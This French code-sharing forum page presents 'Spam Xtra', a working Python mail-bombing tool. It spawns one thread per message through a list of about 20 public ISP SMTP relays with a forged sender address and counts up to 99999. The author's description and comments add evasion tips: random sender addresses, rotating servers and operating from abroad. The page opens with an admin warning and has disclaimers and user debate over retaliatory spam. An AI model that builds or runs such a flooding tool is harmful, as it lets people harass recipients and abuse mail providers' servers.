Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum. Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

SPAMMEUR, PYTHON


Information sur la source

Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux.
Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Catégorie :E-mail / Messagerie Classé sous : spam, message, xeolin, defence, interdit Niveau : Initié Date de création : 06/07/2006 Date de mise à jour : 15/05/2009 16:27:53 Vu / téléchargé: 6 234 / 279

Note :
Aucune note

Commentaire sur cette source (18)
Ajouter un commentaire et/ou une note

Description

Cliquez pour voir la capture en taille normale
Bon, ce logiciel ne doit pas être utilisé, il montre seulement comment utiliser smtplib pour envoyer de multiples messages, j'ai essayer, et cela marche, de mettre plusieurs serveurs smpt et d'utiliser non pas une adresse (email) fixe mais généré par un fonction comme :
email=""
while len(email)!=10:
  email+=chr(randrange(65,91))  #normalement ce sont
                                #les valeurs des lettres

Mais faites attention, l'utilisation de ce logiciel pourrait entrainer des poursuite de :
    Votre fournisseur internet
    Les serveurs smpt
    Bien sûr le récepteur
    Central Intelligence Agency (cia) pour spamming

toutes ces poursuites pourait résulter en condamnation à la prison.

Un conseil, n'utiliser pas de proxy, vous n'auriez pas assé de bande passante, allez plutôt en Russie ou en Chine...
 

Source

  • from Tkinter import *
  • from tkMessageBox import *
  • import smtplib
  • import time
  • from threading import Thread
  • try :
  • import Pmw
  • except :#Si vous n'avez pas Pmw, cette partie s'executera.
  • def spam () :
  • global from_addr, to_addrs, msg
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • from_addr = who.get()
  • to_addrs = [who.get()]
  • date = time.ctime(time.time())
  • msg = """From: "HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>
  • Subject: SPAMING
  • Date: %s
  • To: "THE SPAMEUR" <None@hotmail.com>
  • STOP THIS ILLEGAL SPAM !!!
  • OTHERWISE I SPAM YOU !!!
  • """ % date
  • for a in range(0,int(num.get())):
  • starter().start()
  • class starter(Thread):
  • def __init__ (self):
  • Thread.__init__(self)
  • def run(self):
  • s = smtplib.SMTP('smtp.wanadoo.fr')#smtp.free.fr
  • s.sendmail(from_addr, to_addrs, msg)
  • s.quit()
  • def run () :
  • try :
  • nombre = int(num.get())*0.2
  • except :
  • nump.configure(text='temps estime : FORMAT INVALIBLE')
  • else :
  • mnombre=nombre/60
  • mnombre-=mnombre%1
  • nombre-=mnombre*60
  • hnombre=mnombre/60
  • hnombre-=hnombre%1
  • mnombre-=hnombre*60
  • nump.configure(text='temps estime : %s heures %s minutes %s secondes'%(int(hnombre),int(mnombre),nombre))
  • root.after(1000,run)
  • root=Tk()
  • root.title('Spam Xtra | By Xeolin | version 1.8 (Finie)')
  • Label(text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
  • num=Entry(bg='grey50')
  • num.grid(row=0,column=1)
  • nump=Label(text='temps estime : FORMAT INVALIBLE',bg='grey100')
  • nump.grid(row=0,column=2)
  • Label(text=' A quelle adresse ? ',bg='grey0',fg='grey50').grid(row=1,column=0)
  • who=Entry(bg='grey50')
  • who.grid(row=1,column=1)
  • Button(text=' SPAMMER ! ',command=spam).grid(row=3,column=1)
  • run()
  • root.mainloop()
  • else : #Si vous avez Pmw, cette partie s'executera.
  • stmplist=['smtp.free.fr','smtp.wanadoo.fr','smtp.neuf.fr','smtp.9online.fr','smtp.fr.aol.com','smtp.lycos.co.uk','smtp.cegetel.net','mail.club-internet.fr','smtp.dbmail.com','smtp.evhr.net','smtp.freesurf.fr','smtp.gawab.com','smtp.gmail.com','smtp.ifrance.com','smtp.laposte.net','smtp.magic.fr','smtp.nerim.net','smtp.neuf.fr','smtp.orange.fr','smtp.mail.yahoo.fr']
  • def spam () :
  • global from_addr, to_addrs, msg
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
  • from_addr = who.get()
  • to_addrs = [who.get()]
  • date = time.ctime(time.time())
  • msg = """From: %s
  • Subject: SPAMING
  • Date: %s
  • To: "THE SPAMEUR" <None@hotmail.com>
  • \n\n\n\n\n\n\n\n
  • %s
  • """ % (toto.get(),date,opt.get())
  • for a in range(0,int(num.get())):
  • lanceur().start()
  • class lanceur(Thread):
  • def __init__ (self):
  • Thread.__init__(self)
  • def run(self):
  • try :
  • s = smtplib.SMTP(stmp)
  • s.sendmail(from_addr, to_addrs, msg)
  • s.quit()
  • except : pass
  • def changestmp (e):
  • global stmp
  • stmp=e
  • fen=Tk()
  • Pmw.initialise(fen)
  • fen.title('Spam Xtra | By Xeolin | version 1.7')
  • notebook = Pmw.NoteBook(fen)
  • notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
  • root = notebook.add('general')
  • notebook.tab('general').focus_set()
  • Label(root,text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
  • num = Pmw.Counter(root,
  • entry_width = 5,
  • entryfield_value = 50,
  • entryfield_validate = {'validator' : 'integer',
  • 'min' : 1, 'max' : 99999}
  • )
  • num.grid(row=0,column=1)
  • Label(root,text=' A quelle adresse ? ',bg='grey0',fg='grey50').grid(row=1,column=0)
  • who=Entry(root,bg='grey50')
  • who.grid(row=1,column=1)
  • Label(root,text=' Quel stmp ? ',bg='grey0',fg='grey50').grid(row=2,column=0)
  • who= Pmw.ComboBox(root,
  • selectioncommand = changestmp,
  • scrolledlist_items = stmplist,
  • )
  • who.grid(row=2,column=1)
  • Button(root,text=' SPAMMER ! ',command=spam).grid(row=4,column=1)
  • root = notebook.add('option avancees')
  • Label(root,text='Message :').pack()
  • opt=Text(root,height=2)
  • opt.pack()
  • opt.insert('0.0','STOP THIS ILLEGAL SPAM !!! \nOTHERWISE I SPAM YOU !!!')
  • toto=Entry(root,width=80)
  • toto.pack()
  • Label(root,text='Adresse de l\'expediteur').pack()
  • toto.insert('0','"HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>')
  • fen.mainloop()
from Tkinter import *
from tkMessageBox import *
import smtplib
import time
from threading import Thread
try :
    import Pmw
except :#Si vous n'avez pas Pmw, cette partie s'executera.
    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                from_addr = who.get()
                to_addrs = [who.get()]
                date = time.ctime(time.time())
                msg = """From: "HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>
Subject: SPAMING
Date: %s
To: "THE SPAMEUR" <None@hotmail.com>

STOP THIS ILLEGAL SPAM !!!
OTHERWISE I SPAM YOU !!!

                """ % date
                for a in range(0,int(num.get())):
                    starter().start()

    class starter(Thread):
       def __init__ (self):
          Thread.__init__(self)


       def run(self):
                s = smtplib.SMTP('smtp.wanadoo.fr')#smtp.free.fr
                s.sendmail(from_addr, to_addrs, msg)
                s.quit()


    def run () :
        try :
            nombre = int(num.get())*0.2
        except :
            nump.configure(text='temps estime : FORMAT INVALIBLE')
        else :
            mnombre=nombre/60
            mnombre-=mnombre%1
            nombre-=mnombre*60
            hnombre=mnombre/60
            hnombre-=hnombre%1
            mnombre-=hnombre*60
            nump.configure(text='temps estime : %s heures %s minutes %s secondes'%(int(hnombre),int(mnombre),nombre))
        root.after(1000,run)


    root=Tk()
    root.title('Spam Xtra | By Xeolin | version 1.8 (Finie)')
    Label(text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)
    num=Entry(bg='grey50')
    num.grid(row=0,column=1)
    nump=Label(text='temps estime : FORMAT INVALIBLE',bg='grey100')
    nump.grid(row=0,column=2)
    Label(text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(bg='grey50')
    who.grid(row=1,column=1)
    Button(text=' SPAMMER ! ',command=spam).grid(row=3,column=1)
    run()
    root.mainloop()
else :  #Si vous avez Pmw, cette partie s'executera.
    stmplist=['smtp.free.fr','smtp.wanadoo.fr','smtp.neuf.fr','smtp.9online.fr','smtp.fr.aol.com','smtp.lycos.co.uk','smtp.cegetel.net','mail.club-internet.fr','smtp.dbmail.com','smtp.evhr.net','smtp.freesurf.fr','smtp.gawab.com','smtp.gmail.com','smtp.ifrance.com','smtp.laposte.net','smtp.magic.fr','smtp.nerim.net','smtp.neuf.fr','smtp.orange.fr','smtp.mail.yahoo.fr']

    def spam () :
        global from_addr, to_addrs, msg
        if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
            if askyesno("Attention !", "CETTE ACTION PEUT-ETRE ILLEGALE\n\n\nMOI XEOLIN NE SUIS PAS RESPONCEBLE DE VOS AGISSEMENT AVEC CE LOGICIEL.\n\nDE PLUS JE VOUS RAPELLE QUE CE LOGICIEL EST GRATUIT ET NON LIBRE\n\nVOULEZ-VOUS CONTINUER ?") ==True :
                    from_addr = who.get()
                    to_addrs = [who.get()]
                    date = time.ctime(time.time())
                    msg = """From: %s
                    Subject: SPAMING
                    Date: %s
                    To: "THE SPAMEUR" <None@hotmail.com>
        \n\n\n\n\n\n\n\n
                            %s

                    """ % (toto.get(),date,opt.get())
                    for a in range(0,int(num.get())):
                        lanceur().start()


    class lanceur(Thread):
       def __init__ (self):
          Thread.__init__(self)


       def run(self):
                try :
                    s = smtplib.SMTP(stmp)
                    s.sendmail(from_addr, to_addrs, msg)
                    s.quit()
                except : pass

                

    def changestmp (e):
        global stmp
        stmp=e

    fen=Tk()
    Pmw.initialise(fen)
    fen.title('Spam Xtra | By Xeolin | version 1.7')

    notebook = Pmw.NoteBook(fen)
    notebook.pack(fill = 'both', expand = 1, padx = 10, pady = 10)
    root = notebook.add('general')
    notebook.tab('general').focus_set()



    Label(root,text='Spamer combien de fois ?',bg='grey0',fg='grey50').grid(row=0,column=0)

    num = Pmw.Counter(root,
                    entry_width = 5,
                    entryfield_value = 50,
                    entryfield_validate = {'validator' : 'integer',
                            'min' : 1, 'max' : 99999}
            )
    num.grid(row=0,column=1)
    Label(root,text='    A quelle adresse ?        ',bg='grey0',fg='grey50').grid(row=1,column=0)
    who=Entry(root,bg='grey50')
    who.grid(row=1,column=1)
    Label(root,text='    Quel stmp ?    ',bg='grey0',fg='grey50').grid(row=2,column=0)
    who= Pmw.ComboBox(root,
                    selectioncommand = changestmp,
                    scrolledlist_items = stmplist,
            )

    who.grid(row=2,column=1)
    Button(root,text=' SPAMMER ! ',command=spam).grid(row=4,column=1)

    root = notebook.add('option avancees')
    Label(root,text='Message :').pack()
    opt=Text(root,height=2)
    opt.pack()
    opt.insert('0.0','STOP THIS ILLEGAL SPAM !!! \nOTHERWISE I SPAM YOU !!!')
    toto=Entry(root,width=80)
    toto.pack()
    Label(root,text='Adresse de l\'expediteur').pack()
    toto.insert('0','"HUNTER OF SPAMMER - HUNTER OF HACKER" <HOV_HOH@hotmail.com>')
    fen.mainloop()

Conclusion

Je déconseille l'utilisation de ce programme.
 

Fichier Zip

Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

Historique

07 juillet 2006 11:53:46 :
UNE LIGNE DE TROP DSL
07 août 2006 20:04:03 :
...
26 mai 2007 14:33:02 :
Utilisation des Threads
26 mai 2007 15:18:19 :
Ajout de "notebook", Ajout d'une liste de stmp, Ajout d'une sécuritée du compteur, Ajout de la possibilitée de modifier l'adresse de l'expediteur et de changer le message. Seulement pour les adeptes de Pmw.
15 mai 2009 16:27:53 :
changement des avertissements

Commentaires et avis

signaler à un administrateur
Commentaire de Sannazzarotiti le 08/07/2006 03:53:28

lol j'aime bien l'idee ^^

signaler à un administrateur
Commentaire de alain04 le 10/07/2006 13:24:10

Bonjour,
Il faut combattre l'adversaire avec ses propres armes.
Si la démarche semble répréhensible, elle ne l'est pas moins que celles qui nous bombardent à longueur de journée sans que l'on puisse se défendre.
Quand à la législation, elle devrait commencer par nous protéger des e-mail non sollicités, dont 90% viennent toujours du même pays.
Si intellectuellement la démarche peut être discutée, il faut souligner le courage des responsables de ce site, qui ont estimé pouvoir se permettre de laisser ce source visible, faisant ainsi confiance à la qualité des internautes qu'ils recoivent et permettant à chacun de faire face à ses reponsabilités.
Cordialement.
Alain.

signaler à un administrateur
Commentaire de simla le 10/07/2006 14:13:40

Juste une petite remarque, "sinon" en anglais se dit "otherwise", je crois, et non "if no" ^^ :p

signaler à un administrateur
Commentaire de fenelon77 le 10/07/2006 15:32:36

L'enfer est pavé de bonnes intentions... Une des astuces des spammeurs est d'envoyer leurs pourriels sous une fausse adresse d'expéditeur, piratée à la volée ici ou là : c'est ainsi que je reçois parfois des spams envoyés par... moi-même (j'ai donc dû mettre ma propre adresse en liste rouge d'expéditeurs). La réplique proposée par XEOLIN part d'un bon sentiment, mais pourrait bloquer la messagerie d'innocentes victimes d'un piratage d'adresse... Je suis donc contre cette méthode. Mieux vaut un filtrage efficace sur objets ou contenus.

signaler à un administrateur
Commentaire de Sannazzarotiti le 10/07/2006 19:24:30

puis souvent ce sont des robots donc pas obligatoirement utile. SA depent des fois. En quoi la sources est dangereuse ?

signaler à un administrateur
Commentaire de xeolin le 14/07/2006 20:17:03

pour fenelon77

SACHEZ QUE IL NE FAUT PAS ENVOYER LE MAIL A L'ADRESSE INDIQUER PAR VOTRE LOGICIEL !

IL FAUTT RECHERCHER LA CIBLE !!!

SI VOUS NE SAVEZ PAS FAIRE : NE SPAMEZ PAS SINON !!!

ET LISEZ LE MESSAGE EN ROUGE

XEOLIN

(de plus ce logiciel a un but purement lucratif...
donc ne faites pas comme moi et ne l'utilisez pas...
)

_______________________________________________


pour  Sannazzarotiti :

Sache que le spam peut être considéré comme une sorte de 'Arcellement'...
ce qui dans la legislation Française est interdit... ^^$
bon vla pour toi

_____ Suivant __________________________________

pour simla

desoler ^^

mais en python on dit 'if no' pour sinon au lieu de 'otherwise' et puis...
comme en francais je suis nul dans orthographe englaise ^^$
sinon merci...

mais regarde ' Sannazzarotiti':

1- ' Sannazzarotiti ' s'écrit ' Sanoazarôtzitï ' (ce qui signifit 'mito' en japonais)

2- 'SA depent des fois.' on le dit : 'Ca depent des fois.' car on pourai dire : 'Cela depent des fois.'

____________________________________________________________

pour alain04

lol

comment faire ?

comme je l'ai dit a fenelon, pour trouver le maileur il faut trouver ca source (souvent les gros le font a partir d'autre ordi ^^$ ou cachent leur ip ^^$ bon a realiser c asser dur mais a demolir c casi imposible...)

ca c bien pour faire mumuse avec ses copain... ^^

___________________________________________________
a tous

bon c asser dure a saisir mais sachez que il y a des centaine de professionel...
qui travaillent sur un moyen de les areter...

donc mon prog est une facon de nous aider même si elle est maladroite...

___________________________________________________

Xeolin - allez sur 'http://www.pythonfrance.com/infomsg_FONCTION-INCONNUE_772549.aspx'

signaler à un administrateur
Commentaire de fenelon77 le 19/07/2006 09:07:09

D'accord, mais ce serait mieux de dire dans la présentation qu'il ne faut pas retourner à l'adresse d'expéditeur indiquée, plutôt que de proférer des menaces sinon !!! Tout le monde n'est pas un petit génie de l'Internet.

Cherchez dans un dictionnaire le sens du mot "lucratif".

signaler à un administrateur
Commentaire de xeolin le 07/08/2006 20:00:54

"Tout le monde n'est pas un petit génie de l'Internet."

...

decu...

je voulai aider et voila on m'insulte...

signaler à un administrateur
Commentaire de fenelon77 le 08/08/2006 00:04:55

Je ne voulais ni insulter ni blesser. Mes excuses si tu l'as ressenti comme ça. J'ai répondu à ton message du 14 juillet, bien condescendant (ce n'est pas un gros mot) sur le même ton, sans plus.

signaler à un administrateur
Commentaire de kerneltony95 le 07/09/2006 21:26:03

admin je vois pas ce qu il y a de dangereux dans cette source
c' est qune mail bombing de lamer rien de dangereux lol...

signaler à un administrateur
Commentaire de econs le 08/09/2006 08:51:38 administrateur CS

Ce n'est pas moi qui ai marqué ce code comme "potentiellement dangereux", mais je peux néanmoins t'apporter la raison.
Mis entre de mauvaises mains, ou entre les mains de personnes qui ne comprennent ni le code, ni l'éthique liée à l'envoi de mail, il peut être dangereux.
L'utilisation abusive du SMTP de Wanadoo (devenu Orange) ou de Free peut vous causer bien des soucis (techniques, juridiques, ...).
Le code est laissé car il est instructif, mais l'utilisation (pour de bonnes ou mauvaises raisons) est à vos risques et périls.

signaler à un administrateur
Commentaire de kerneltony95 le 08/09/2006 16:26:38

oui je comprend vu sur cette optique

vu les petits rigolos qui flood, ainsi que les spamers mais leur
répondre de la même façon ca peut calmer les spammer mais c' est aussi
rentrer dans leur jeu non?

mais d' un autre coté c 'est pas mal de la laisser à but instructif...

signaler à un administrateur
Commentaire de V4mp le 25/09/2007 21:33:38

Bien joué le programme originale ^^ !

Bah Spammer c'est mal on le sait tous je pense.

signaler à un administrateur
Commentaire de alain04 le 25/09/2007 22:15:56

Oui, mais ... quand même :
Lors des dernières élections (!) je me suis fait bombardé par des particuliers (environ 20 mails par jours chacun)qui étaient pour machin et contre chose.
J'ai donc voulu utiliser ce script pour me défendre, mais, connaissant le réceptionnaire visé, je peux dire ici que celà n'à pas fonctionné.
C'est sûrement de ma faute, bien sûr ;-)

signaler à un administrateur
Commentaire de V4mp le 26/09/2007 01:11:38

On n'est jamais innocent et justement c'est de la pub pour ta patrie :-p, donc c'est pas vraiment du spam mais de l'incitation a aller voté alain04 bref c'est pas un debat politique ^^.

signaler à un administrateur
Commentaire de xeolin le 27/01/2008 19:15:28

J'ai fait une nouvelle mise a jour, que je ne distriburait pas, mais voila l'idee:

On utilise un Thread pour chaque fournisseur de service STMP, (perso j'en ai trouver 20), et on envoit les messages par la en utilisant une adresse electronique aleatoire(biensur le nom de domaine correspond au serveur.)

ce qui fait du 25 mail a la seconde (environ)
donc en 1 minute vous faites 1500 mail :) (moi perso 1438).

entre temps, comme j'ai toujours dit, n'utilisez pas ce logiciel, j'ai trouver une ptite faille de securitee.

Xeolin :)

signaler à un administrateur
Commentaire de alain04 le 27/01/2008 19:40:51

Salut Xeolin,
On peut peut-être le télécharger sur une URL quelconque ... ;-)
alain04

signaler à un administrateur
Commentaire de xeolin le 02/10/2008 15:15:23

alain04

si tu veux le telecharger va la : http://www.pythonfrance.com/telecharger.aspx?ID=38475

Ajouter un commentaire

Discussions en rapport avec ce code source dans le forum

reseau local, serveur/client [ par xilure ] Bonjour,j'ai fait un petit scripte, que me permet soit d'etre un serveur ou un clien, et d'envoyer des message (chat en reseau) Mais voila, quand je s utilisation de tkMessageBox [ par cynthia06 ] Bonjour a tous,Ma question va sans doute paraitre tres bete.J'essaie d'afficher un message avec tkMessageBox.Pour cela je fais:from Tkinter import *im corps de mail = contenu fichier [ par alix20 ] Bonjour à tous,je cherche à écrire un script qui permette d'envoyer un mail dont le contenu du message est le contenu d'un fichier texte. Or, après mo


Nos sponsors

Sondage...

CalendriCode

Juillet 2009
LMMJVSD
  12345
6789101112
13141516171819
20212223242526
2728293031  

Consulter la suite du CalendriCode

Téléchargements

Comparez les prix Nouvelle version

Photothèque Nouveau !



Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés
Temps d'éxécution de la page : 0,374 sec

Google Coop CodeS-SourceS Google Coop CodeS-SourceS


Certaines images présentes sur le site (notament certains avatars) sont issues des collections IconShock, donc si vous souhaitez utiliser ces icons vous devez les acheter, ne les copiez pas et ne utilisez pas dans vos sites et applications sans les avoir commandé.